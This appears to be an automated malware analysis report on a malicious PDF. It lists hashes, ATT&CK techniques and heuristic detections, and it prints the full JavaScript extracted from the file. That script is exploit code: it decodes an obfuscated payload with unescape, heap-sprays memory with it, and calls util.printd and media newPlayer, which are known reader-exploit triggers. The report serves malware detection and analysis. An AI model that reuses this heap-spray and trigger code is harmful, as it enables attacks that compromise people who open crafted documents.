Malicious PDF — malware analysis report

Static analysis result for SHA-256 22a1b80a1d52e9fa…

MALICIOUS

PDF

1.1 KB First seen: 2026-05-11
MD5: a2fe234027616405123cbad6fec5898e SHA-1: 9233fdc8d95c06ca18656ad69f6a20998a6deb64 SHA-256: 22a1b80a1d52e9fa0b72e357b3838929b0bcb9f6b0517d3562e06a5884fb3333
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that utilizes the unescape function, indicative of an exploit. The JavaScript appears to be heavily obfuscated and truncated, making it difficult to determine the exact payload. However, the presence of JavaScript exploit techniques strongly suggests the file is malicious and intended to execute a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for(i=0;i<W1o029.length;){WoA=WoA+'%u'+W1o029[i+1]+W1o029[i]; i=i+2;}
var Wo = unescape(WoA);
var yR = unescape('%u3727%u27f5');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x156 2573 bytes
SHA-256: b8280f0cfd1b0dbadcc6dc8f33984fac3caa11ff8c8c6a1ff796ade2733acee6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var WoA="";
for(i=0;i<W1o000.length;){WoA=WoA+'%u'+W1o000[i+1]+W1o000[i]; i=i+2;}
for(i=0;i<W1o001.length;){WoA=WoA+'%u'+W1o001[i+1]+W1o001[i]; i=i+2;}
for(i=0;i<W1o002.length;){WoA=WoA+'%u'+W1o002[i+1]+W1o002[i]; i=i+2;}
for(i=0;i<W1o003.length;){WoA=WoA+'%u'+W1o003[i+1]+W1o003[i]; i=i+2;}
for(i=0;i<W1o004.length;){WoA=WoA+'%u'+W1o004[i+1]+W1o004[i]; i=i+2;}
for(i=0;i<W1o005.length;){WoA=WoA+'%u'+W1o005[i+1]+W1o005[i]; i=i+2;}
for(i=0;i<W1o006.length;){WoA=WoA+'%u'+W1o006[i+1]+W1o006[i]; i=i+2;}
for(i=0;i<W1o007.length;){WoA=WoA+'%u'+W1o007[i+1]+W1o007[i]; i=i+2;}
for(i=0;i<W1o008.length;){WoA=WoA+'%u'+W1o008[i+1]+W1o008[i]; i=i+2;}
for(i=0;i<W1o009.length;){WoA=WoA+'%u'+W1o009[i+1]+W1o009[i]; i=i+2;}
for(i=0;i<W1o010.length;){WoA=WoA+'%u'+W1o010[i+1]+W1o010[i]; i=i+2;}
for(i=0;i<W1o011.length;){WoA=WoA+'%u'+W1o011[i+1]+W1o011[i]; i=i+2;}
for(i=0;i<W1o012.length;){WoA=WoA+'%u'+W1o012[i+1]+W1o012[i]; i=i+2;}
for(i=0;i<W1o013.length;){WoA=WoA+'%u'+W1o013[i+1]+W1o013[i]; i=i+2;}
for(i=0;i<W1o014.length;){WoA=WoA+'%u'+W1o014[i+1]+W1o014[i]; i=i+2;}
for(i=0;i<W1o015.length;){WoA=WoA+'%u'+W1o015[i+1]+W1o015[i]; i=i+2;}
for(i=0;i<W1o016.length;){WoA=WoA+'%u'+W1o016[i+1]+W1o016[i]; i=i+2;}
for(i=0;i<W1o017.length;){WoA=WoA+'%u'+W1o017[i+1]+W1o017[i]; i=i+2;}
for(i=0;i<W1o018.length;){WoA=WoA+'%u'+W1o018[i+1]+W1o018[i]; i=i+2;}
for(i=0;i<W1o019.length;){WoA=WoA+'%u'+W1o019[i+1]+W1o019[i]; i=i+2;}
for(i=0;i<W1o020.length;){WoA=WoA+'%u'+W1o020[i+1]+W1o020[i]; i=i+2;}
for(i=0;i<W1o021.length;){WoA=WoA+'%u'+W1o021[i+1]+W1o021[i]; i=i+2;}
for(i=0;i<W1o022.length;){WoA=WoA+'%u'+W1o022[i+1]+W1o022[i]; i=i+2;}
for(i=0;i<W1o023.length;){WoA=WoA+'%u'+W1o023[i+1]+W1o023[i]; i=i+2;}
for(i=0;i<W1o024.length;){WoA=WoA+'%u'+W1o024[i+1]+W1o024[i]; i=i+2;}
for(i=0;i<W1o025.length;){WoA=WoA+'%u'+W1o025[i+1]+W1o025[i]; i=i+2;}
for(i=0;i<W1o026.length;){WoA=WoA+'%u'+W1o026[i+1]+W1o026[i]; i=i+2;}
for(i=0;i<W1o027.length;){WoA=WoA+'%u'+W1o027[i+1]+W1o027[i]; i=i+2;}
for(i=0;i<W1o028.length;){WoA=WoA+'%u'+W1o028[i+1]+W1o028[i]; i=i+2;}
for(i=0;i<W1o029.length;){WoA=WoA+'%u'+W1o029[i+1]+W1o029[i]; i=i+2;}
var Wo = unescape(WoA);
var yR = unescape('%u3727%u27f5');
for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());

Open this report in the interactive analyzer, or submit your own file for analysis.